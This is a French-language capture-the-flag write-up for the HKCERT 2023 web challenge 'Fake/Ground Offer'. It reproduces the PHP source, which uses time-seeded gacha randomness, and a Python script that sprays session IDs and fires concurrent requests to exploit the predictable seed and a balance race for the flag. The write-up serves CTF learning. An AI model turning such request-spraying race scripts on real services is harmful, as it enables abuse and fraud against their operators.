HKCERT CTF - Nov 2023 - writeup - Fake/Ground Offer

Auteur: Brouettelover 2024-01-03 14:18:29
Categories: > > > Tags:

Description du challenge

Le but de ce challenge était dé réussir à obtenir le flag sur une page web.
Pour se faire, j’ai commencé par essayé de faire une injection SQL mais celle ci n’a rien donné.

Le code source de l’application nous était donné.
La page web ressemblait à ça :

Code source :
 <?php 
session_start();

if(isset($_GET["-s"])){
    show_source(__FILE__);
    exit();
}

include "secret.php";

if(!isset($_SESSION["balance"])){
    $_SESSION["balance"] = 20;
    $_SESSION["inventory"] = Array("UR" => 0, "SSR" => 0, "SR" => 0, "R" => 0, "N" => 0);
}

if(isset($_GET["sellacc"])){
    if($_SESSION["inventory"]["UR"]+$_SESSION["inventory"]["SSR"]>=20){
        exit("$flag");
    }else{
        exit('$flag');
    }
}

$gacha_result = "";
$seed = (time() - $pin) % 3600 + 1;  //cannot use zero as seed

if(isset($_GET["gacha1"])){
    if($_SESSION["balance"] < 1){
        $gacha_result = "Insufficient Summon Tickets!";
    }else{
        $_SESSION["balance"] -= 1;
        $gacha_result = "You got ".implode(", ",gacha(1,$seed));
    }
}elseif(isset($_GET["gacha10"])){
    if($_SESSION["balance"] < 1){
        $gacha_result = "Insufficient Summon Tickets!";
    }else{
        $_SESSION["balance"] -= 10;
        $gacha_result = "You got ".implode(", ",gacha(10,$seed));
    }
}

//Ultra Secure Seedable Random (USSR) gacha
function gacha($n,$s){
    $out = [];

    for($i=1;$i<=$n;$i++){
        $x = sin($i*$s);
        $r = $x-floor($x);
        $out[] = lookup($r);
    }
    return $out;
}

function lookup($r){
    if($r <= 0.001){
        $_SESSION["inventory"]["UR"] += 1;
        return "UR";
    }elseif($r <= 0.004){
        $_SESSION["inventory"]["SSR"] += 1;
        return "SSR";
    }elseif($r <= 0.009){
        $_SESSION["inventory"]["SR"] += 1;
        return "SR";
    }elseif($r <= 0.016){
        $_SESSION["inventory"]["R"] += 1;
        return "R";
    }else{
        $_SESSION["inventory"]["N"] += 1;
        return "N";
    }
}
?>
<html>
<head>
    <title>Fake/Ground Offer</title>
</head>
<body>
    <!-- This is the best frontend we can provide given the budget provided -->
    <h1>Fake/Ground Offer</h1>
    <p>Welcome, Master. Your ID is <?=session_id();?></p>
    <p>Current Balance: <?=$_SESSION["balance"];?> Summon Ticket(s)</p>
    <p>Current Inventory: <?php print_r($_SESSION["inventory"]);?></p>
    <form><input type=submit name="gacha1" value="Summon 1"></form>
    <form><input type=submit name="gacha10" value="Summon 10"></form>
    <h2><?=$gacha_result;?></h2>
    <hr /><p><a href="?-s">Show Source</a></p>
</body>
</html>

Ma solution

Après avoir lu ce code, on peut en déduire qu’avoir 20 tickets et les vendre permettent d’avoir l’accès à ce flag.
En regardant la manière de généré les tickets, on peut en déduire que l’obtention des tickets se fait en se basant sur le temps.

La première chose que j’ai donc faite est donc d’envoyer plusieurs requêtes aves des sessions différentes, jusqu’à obtenir un ticket UR.
J’ai ensuite essayé de gardé cette ID et de demander plus de ticket directement après.

Ce qui me donnait en général 2 tickets d’affilés, ce qui m’a fait dire que si j’arrivais à envoyé les 20 requêtes requises sur un interval très court je pourrai peut être trigger plusieurs fois la génération d’un ticket UR.

J’ai donc écris un script python qui permet de créé plusieurs threads dès lors qu’un ID a réussi à me faire proc un tiquet UR.

Script python :

import requests
import time
import threading
from datetime import datetime


#2023-11-10 22:59:37.147295
def make_request(url, headers):
    response = requests.get(url, params={"gacha1": "Summon 1"}, headers=headers)
    print(response.text)

for i in range(1000):
    url = "http://chal-a.hkcert23.pwnable.hk:28137/"
    headers = {
        "Upgrade-Insecure-Requests": "1",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7",
        "Referer": "http://chal-a.hkcert23.pwnable.hk:28137/",
        "Accept-Encoding": "gzip, deflate, br",
        "Accept-Language": "fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7",
        "Cookie": "PHPSESSID=mysupersefggggggffghhgghdsffgggggsfgggsdggg"+str(i),
        "Connection": "close"
    }
    response = requests.get(url, params={"gacha1": "Summon 1"}, headers=headers)
    print("request numéro : " + str(i))
    if 'You got UR' in response.text:
        # Nombre de threads que vous souhaitez utiliser
        num_threads = 21  # Vous pouvez ajuster cela en fonction de vos besoins

        # Liste pour stocker les threads
        threads = []

        # Créer et démarrer les threads
        for _ in range(num_threads):
            thread = threading.Thread(target=make_request, args=(url, headers))
            thread.start()
            threads.append(thread)

        # Attendre que tous les threads se terminent
        for thread in threads:
            thread.join()

Ce script m’a permis après plusieurs éssaies de récupéré les 20 tickets UR demandés. J’ai juste eu ensuite besoin de contacter la page “sellacc” pour avoir le flag.